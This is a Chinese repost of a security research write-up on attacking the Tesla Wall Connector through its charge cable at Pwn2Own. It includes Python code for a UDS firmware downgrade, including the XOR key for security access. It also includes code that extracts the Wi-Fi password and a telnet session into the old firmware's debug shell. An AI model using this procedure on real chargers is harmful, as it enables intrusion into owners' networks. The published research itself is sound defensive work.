从特斯拉壁挂式充电桩端口连接器发起攻击-1

admin 2026-05-14 12:48:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了通过特斯拉壁挂式充电桩端口连接器发起攻击的技术细节,研究团队在Pwn2Own汽车网络安全竞赛中利用充电连接器作为入口点,通过非标准协议与充电桩通信并利用逻辑缺陷安装存在漏洞的固件。文章解析了设备硬件架构、SWCAN通信协议逆向工程过程,以及通过固件降级获取Wi-Fi凭证并访问调试接口的具体攻击方法,展示了电动汽车充电基础设施的安全风险。 综合评分: 85 文章分类: IoT安全,渗透测试,漏洞分析,红队,逆向分析


cover_image

从特斯拉壁挂式充电桩端口连接器发起攻击-1

原创

骨哥说事 骨哥说事

骨哥说事

2026年5月13日 09:30 新加坡

在小说阅读器读本章

去阅读

| | | — | | 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |

#

#

防走失:https://gugesay.com/

不想错过任何消息?设置星标↓ ↓ ↓

#

2025年1月,我们携多个目标参与了Pwn2Own汽车网络安全竞赛。其中一个目标是特斯拉壁挂式连接器——为电动汽车(包括非特斯拉品牌)设计的家用充电桩。我们展示了一种利用充电连接器作为入口点的攻击方法,通过一种非标准协议(针对此类应用场景)与充电桩通信。我们利用了一个逻辑缺陷,在设备上安装了存在漏洞的固件。本文将解释我们如何研究该设备、如何构建特斯拉汽车模拟器与充电桩通信,以及如何在比赛中利用这个逻辑漏洞。

一个有趣的攻击面

过去几年,Synacktiv一直在为Pwn2Own竞赛分析特斯拉汽车。在对信息娱乐系统和安全网关更新机制进行逆向工程时,我们发现了一些有趣的现象:特斯拉汽车似乎能够通过充电线为特斯拉壁挂式连接器更新固件。

安全网关更新器中可升级的ECU

此功能从用户角度来看并未公开记录,相关的硬件和底层协议也未曾被公开分析。

鉴于这个攻击面的潜在机会,甚至在壁挂式连接器被宣布纳入比赛目标之前,我们就已经开始对其进行研究。

电动汽车充电桩快速入门

家用电动汽车充电桩看似复杂,但实际上,其核心功能可以简化为一个简单的电开关。

充电桩的主要作用是打开或关闭电气继电器,将车辆连接到电网,而不对电力本身进行任何变换或调节。

开启或关闭继电器的决定基于各种检查和条件,并且可能还依赖于汽车和充电桩之间使用标准化协议进行的双向通信,但大多数家用充电桩并未实现此类协议。

电动汽车充电涉及两个重要信号:接近导引(Proximity Pilot, PP)和控制导引(Control Pilot, CP)。这两个信号都参考保护接地。

欧洲使用的2型连接器

接近导引(PP)

接近导引的主要作用是检测车辆是否连接,并指示充电线缆的载流能力。 为了实现这一点,汽车向一个分压电路施加恒定电压。充电线包含一个电阻,其阻值对应于线缆支持的最大电流,从而使车辆能够检测线缆的容量。

当按下充电手柄上的按钮时,可以在分压电路中增加一个额外的电阻以停止充电。

J1772 PP电路

控制导引(CP)

控制导引信号用于管理充电过程。它有多重用途,包括:

  • 向车辆传达充电桩的最大电流容量,
  • 协调充电的启动和停止,
  • 检测错误或故障。

CP信号由充电桩产生的1 kHz PWM(脉冲宽度调制)信号组成。该信号的占空比指示充电桩可提供的最大电流。 车辆通过特定的电阻将信号拉低来响应,以指示其充电状态(例如:已连接、准备就绪、正在充电或故障)。

在车对网(Vehicle-to-Grid, V2G)应用中,控制导引接口扩展了更高层的通信层。这通常通过在CP线路上进行电力线通信(Power Line Communication, PLC)来实现。 在此模式下,数字数据在CP PWM线路上调制,使得车辆和充电桩之间能够交换IP数据包。该通道支持诸如动态负载管理、能源合同协商甚至双向电力传输等功能。

特斯拉壁挂式连接器设备

特斯拉壁挂式连接器是一款交流电动汽车充电桩,设计用于住宅、公共和半公共场所,如家庭、酒店、企业和停车库。它支持单相和三相电源,根据电气配置可提供高达22 kW的功率。

该设备设计用于连接到所有者Wi-Fi网络,以便与特斯拉云通信,进行遥测并通过特斯拉移动应用程序进行远程控制。

该设备似乎包含一个NFC读卡器,但目前尚无功能使用它,很可能用于未来功能。

设置阶段

带有Wi-Fi PSK的二维码

设备的Wi-Fi在以下情况下以接入点(Access Point, AP)模式运行:

  • 当设备尚未配置时,
  • 当充电手柄上的按钮被按住数秒时,
  • 在设备启动序列的几秒钟内。

SSID和密码打印在用户手册中,无法更改,并且攻击者本不应能够访问。 在本文中,我们演示了如何通过充电线缆恢复这些SSID和密码。

硬件

ZDI已经发布了该设备的详细硬件描述;在本节中,我们仅描述理解本文所需的关键组件。

特斯拉第三代壁挂式连接器围绕两个主要组件构建:

  • 一块用于Wi-Fi连接并运行主应用程序(云连接、API服务器等)的通信卡(AW-CU300)。该卡嵌入了一颗基于ARM Cortex-M4核心的Marvell 88MW300 SoC(现属于NXP)。
  • 一颗负责管理传感器、电能计量和继电器控制的STM32微控制器。

这两个芯片组通过UART通信,使用Protocol Buffers(Protobuf)进行序列化,双向交换消息。

有趣的是,PCB上有一个高通(Qualcomm)PLC芯片组的封装位置,但在我们分析的设备中并未安装。由于电路板上没有其他组件支持PLC通信,因此该设备无法进行标准化的V2G通信。这意味着特斯拉必须使用专有协议与其车辆进行通信。

协议分析

理解壁挂式连接器与特斯拉汽车之间协议的最佳方法是在PP和CP信号上连接示波器,结果如下:

CP和PP信号

通信的初始阶段涉及使用分压电路中的电阻进行标准基本信令。然而,一旦汽车激活充电信号(通过一个额外的电阻将PWM线路拉至+6V/-12V,指示其准备充电),就会在CP线路上观察到一个非标准协议。

当放大通信交换细节时,可以识别出一个众所周知的协议:CAN(控制器局域网),但其配置方式不常见:单线CAN(Single-Wire CAN, SWCAN)。

SWCAN

既然我们确认了双向协议的存在,攻击面就存在了,接下来可以开始逆向工程和漏洞研究阶段。

逆向工程

为了开始逆向工程阶段,我们需要固件。有几种方法可以获得:

  • 特斯拉官网的故障排除页面提供了用于离线更新的固件文件。最初它提供一个旧版本,但现在提供最新版本。
  • 特斯拉移动应用程序包含一个旧版本的固件。
  • 特斯拉车辆固件包(特别是信息娱乐更新)内嵌了壁挂式连接器的固件,由于我们访问了多个更新,因此收集了几个固件版本。

固件提取

壁挂式连接器的固件针对Marvell SoC使用自定义二进制格式,可以使用以下Python脚本解析:

import sys
import struct

data = bytearray(open(sys.argv[1], "rb").read())

header_len = struct.unpack("<I", data[4:8])[0]
header = data[:header_len]

tlv_offset=0xC
while&nbsp;tlv_offset < header_len:
&nbsp; &nbsp; t = data[tlv_offset]
&nbsp; &nbsp; l = struct.unpack("<H", data[tlv_offset+1:tlv_offset+3])[0]
&nbsp; &nbsp; v = data[tlv_offset+3:tlv_offset+3+l]
&nbsp; &nbsp; tlv_offset +=&nbsp;3&nbsp;+ l

tlv_offset=0x14

if&nbsp;header.startswith(b"SBFH"):
&nbsp; &nbsp; print("Good magic")
else:
&nbsp; &nbsp; print("Bad magic")
&nbsp; &nbsp; exit(1)

header_data = data[0xC:header_len]
mrvl_header = data[header_len:header_len+0x14]
seg_header_offset = header_len +&nbsp;0x14
number_of_segment=struct.unpack("<I", mrvl_header[3*4:4*4])[0]

last_offset=0
for&nbsp;seg&nbsp;in&nbsp;range(number_of_segment):
&nbsp; &nbsp; header_offset = seg_header_offset+seg*0x14
&nbsp; &nbsp; crc_pos = header_offset +&nbsp;0x10
&nbsp; &nbsp; seg_header=data[header_offset:header_offset+0x14]
&nbsp; &nbsp; offset = struct.unpack("<I", seg_header[4:8])[0] + header_len
&nbsp; &nbsp; crc = struct.unpack("<I", seg_header[0x10:0x14])[0]
&nbsp; &nbsp; size = struct.unpack("<I", seg_header[0x8:0xC])[0]
&nbsp; &nbsp; load_addr = struct.unpack("<I", seg_header[0xC:0x10])[0]
&nbsp; &nbsp; seg_data = data[offset:offset+size]
&nbsp; &nbsp; last_offset = offset+size

&nbsp; &nbsp; file =&nbsp;"segment_%08x.bin"&nbsp;% load_addr
&nbsp; &nbsp; print("writing %s"&nbsp;% file)
&nbsp; &nbsp; f = open(file,"wb")
&nbsp; &nbsp; f.write(seg_data)
&nbsp; &nbsp; f.close()
$ python3 parse.py WC3_PROD_OTA_24.28.3_8c6a4dfba4384e.prodsigned.bin
Good magic
writing segment_00100000.bin
writing segment_1f002630.bin
writing segment_20000040.bin

重要的固件部分是包含ARM代码的segment_1f002630.bin。

此固件用于AW-CU300通信卡,该卡不仅负责云通信,还负责更新STM32微控制器(因此包含STM32固件)。 AW-CU300运行FreeRTOS,其中包含多个专门处理应用逻辑的任务。

我们的分析重点放在CAN接口上,因为它是从充电端口唯一可访问的数据链路。CAN消息由STM32处理,并通过UART使用Protocol Buffers(Protobuf)序列化后中继到AW-CU300。

UDS

有趣的是,AW-CU300包含一个UDS(统一诊断服务)栈。具体来说,CAN ID 0x604被路由到AW-CU300,并被解释为基于ISO-TP的UDS。

UDS实现支持使用标准命令进行固件升级:

  • 0x34 – 请求下载
  • 0x36 – 传输数据
  • 0x37 – 请求传输退出

AW-CU300的闪存分为两个槽位:一个激活槽和一个备用槽。新固件被写入备用槽,随后被激活。

固件更新流程

  1. 发送打开会话(UDS会话2)
  2. 使用UDS安全访问(等级5)进行认证:
  • 质询是一个固定的16字节值
  • 响应是每个字节与0x35进行异或运算的结果
  1. 运行例程0xFF00以准备(擦除)备用槽位
  2. 使用”通过标识符写入数据”命令向标识符0x102写入0x0E
  3. 使用请求下载和传输数据上传固件
  4. 运行例程0x201以切换到新固件
  5. 运行例程0x202以重启

如果有车辆连接,重启将被延迟,并安排在断开连接5分钟后执行。

调用例程0x201时,会验证固件格式和CRC。然而,在此阶段不进行签名检查。签名验证很可能由引导加载程序强制执行,而该引导加载程序不通过此机制进行更新。更重要的是(对于本文而言),似乎没有设置防降级保护。

具有调试功能的固件

早在2021年,我们转储了运行版本2020.48.35.5的信息娱乐系统的eMMC。该镜像包含一个非常早期的壁挂式连接器固件版本:0.8.58。

此版本暴露了在新版本中不再存在的调试功能:

  • 一个TCP调试Shell(来自AW-CU300 SDK)处于活动状态,可通过设置阶段的Wi-Fi AP访问,
  • 可以使用UDS命令检索设置SSID和PSK。

攻击计划

我们的攻击计划如下:

  1. 将固件降级到0.8.58
  2. 使用UDS检索Wi-Fi凭据
  3. 连接到设置阶段的Wi-Fi AP
  4. 通过设置AP访问TCP调试Shell

为了在比赛中执行此攻击,我们需要模拟一辆特斯拉车辆,通过CAN与充电桩交互并发送UDS命令。

构建用于SWCAN通信的汽车模拟器

为了模拟汽车,我们构建了一个定制的硬件装置。首要目标是模拟CP和PP线路的行为,并具有精确的时序,以触发充电桩切换到SWCAN通信模式。 我们通过使用由树莓派(Raspberry Pi)控制的继电器,切换CP和PP线路上的各种电阻来实现这一点。

模拟器原理图

一旦充电桩进入通信模式,我们就需要SWCAN硬件。由于单线CAN并不常见,我们修改了一个标准的USB-CAN适配器以支持它。大多数CAN适配器使用CAN收发器,因此我们用NCV7356 SWCAN收发器替换了FYSETC UCAN适配器上的原始收发器。

CAN收发器的位置

还使用了一个继电器,仅在通信激活时将SWCAN适配器连接到CP线路。

所有这些部件都集成在一个带有充电手柄连接器的盒子中。

已经控制继电器的树莓派连接到SWCAN适配器,并使用Python(配合python-canudsoncan库)来运行降级逻辑:

import&nbsp;can, udsoncan, isotp

def&nbsp;tesla_uds_algo(level, seed, params=None):
&nbsp; &nbsp; key = bytearray(seed)
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(key)):
&nbsp; &nbsp; &nbsp; &nbsp; key[i] = key[i] ^&nbsp;0x35
&nbsp; &nbsp;&nbsp;return&nbsp;bytes(key)

bus = can.Bus(interface='socketcan', channel='can0', bitrate=33300, ignore_rx_error_frames=False)
# ...
with&nbsp;Client(conn, config=uds_config)&nbsp;as&nbsp;client:
&nbsp; &nbsp; client.set_config('security_algo', tesla_uds_algo)
&nbsp; &nbsp; client.change_session(2)
&nbsp; &nbsp; client.unlock_security_access(5)
&nbsp; &nbsp; client.routine_control(routine_id=0xFF00, control_type=1)&nbsp;# prepare the passive firmware slot
&nbsp; &nbsp; memloc = MemoryLocation(address=0, memorysize=len(data_to_send), address_format=32, memorysize_format=32)
&nbsp; &nbsp; client.request_download(memory_location=memloc)
&nbsp; &nbsp;&nbsp;while&nbsp;len(data):
&nbsp; &nbsp; &nbsp; &nbsp; client.transfer_data(sequence_number=seq, data=chunk)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ...
&nbsp; &nbsp; client.request_transfer_exit()
&nbsp; &nbsp; client.routine_control(routine_id=0x201, control_type=1)&nbsp;# switch to new firmware
&nbsp; &nbsp; client.routine_control(routine_id=0x202, control_type=1)&nbsp;# reboot
&nbsp; &nbsp;&nbsp;# ...

由于总线速度较低(33.3 kbps),固件降级过程耗时超过15分钟。

一旦设备用旧固件重启,我们就可以使用UDS提取Wi-Fi凭据:

&nbsp; &nbsp; psk = bytes(client.read_data_by_identifier_first(0x501))
&nbsp; &nbsp; mac = bytes(client.read_data_by_identifier_first(0xf040))
&nbsp; &nbsp; psk = psk.replace(b"\x00",&nbsp;b"")

&nbsp; &nbsp; ssid =&nbsp;"TeslaWallConnector_%02X%02X%02X"&nbsp;% (mac[-3], mac[-2], mac[-1])

有了PSK和SSID,我们就可以连接到设置AP并访问调试Shell。

david@usb-rpi:~/tesla $ python3 wifi.py
[i] Configure GPIO
[i] Configuring single wire can in normal mode
[i] Enable proximity load
[i] Connect CP circuit
[i] CP circuit: activate charge load
[i] Connect CAN transciver
[+] All good
[i] SSID = TeslaWallConnector_2A0B79
[i] PSK = BYHPVDZEFNGG
[i] Connecting to WiFi !
[+] SSID UP connecting
[+] Connected !!!!

$ telnet 192.168.92.1
# help
sysinfo (sysinfo -h)
memdump (memdump.[b|h|w]&nbsp;<address><#&nbsp;of&nbsp;objects>)
memwrite (memwrite.[b|h|w]&nbsp;<address><value>&nbsp;[count])

漏洞利用

在比赛中,我们需要演示在设备上的代码执行,仅仅访问调试Shell是不够的。 尽管调试Shell暴露了高度敏感的命令,但我们没有找到任何在不利用漏洞的情况下实现任意代码执行的干净方法。memwrite命令看起来很有希望,但在实践中并不可靠:即使使用有效的、可写入的地址,设备也会崩溃。我们怀疑该命令仅在中断被禁用时才能安全使用,而通过TCP接口访问Shell时(调试Shell也可能存在于UART上)情况并非如此。

相反,我们识别并利用了调试Shell命令解析逻辑中的一个全局缓冲区溢出漏洞。在接收输入时,Shell将命令行分割成参数并存储在一个全局数组中。该数组的固定大小为16个条目,但在填充它时没有进行边界检查,从第17个参数开始,参数字符串指针会被写入缓冲区之外。

紧挨着这个全局缓冲区之后的是已注册命令及其对应函数指针的数组。通过溢出参数缓冲区,我们能够覆盖命令处理程序表中的条目,从而获得对执行流的控制。

由于固件没有内存保护(所有区域都标记为RWX:可读、可写、可执行),实现任意代码执行就变得很简单,我们只需将执行重定向到内存中由攻击者控制的输入即可。

结论

该漏洞利用在Pwn2Own比赛中首次尝试即告成功,整个过程耗时约18分钟,这主要归因于SWCAN总线的低带宽。我们利用获得的任意代码执行能力触发了一个可见的有效载荷(使LED闪烁),作为比赛现场的现场演示。

由于壁挂式连接器通常连接到家庭、酒店或企业网络,获得对设备的访问权限可能为攻击者提供进入私有网络的立足点,从而潜在地允许横向移动到其他设备。

特斯拉已通过实现防降级机制解决了此问题,防止了我们的攻击中使用的固件回滚。

原文:https://www.synacktiv.com/en/publications/exploiting-the-tesla-wall-connector-from-its-charge-port-connector

  • END –

感谢阅读,如果觉得还不错的话,动动手指给个三连吧~


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:骨哥说事 骨哥说事 骨哥说事《从特斯拉壁挂式充电桩端口连接器发起攻击-1》

评论:0   参与:  0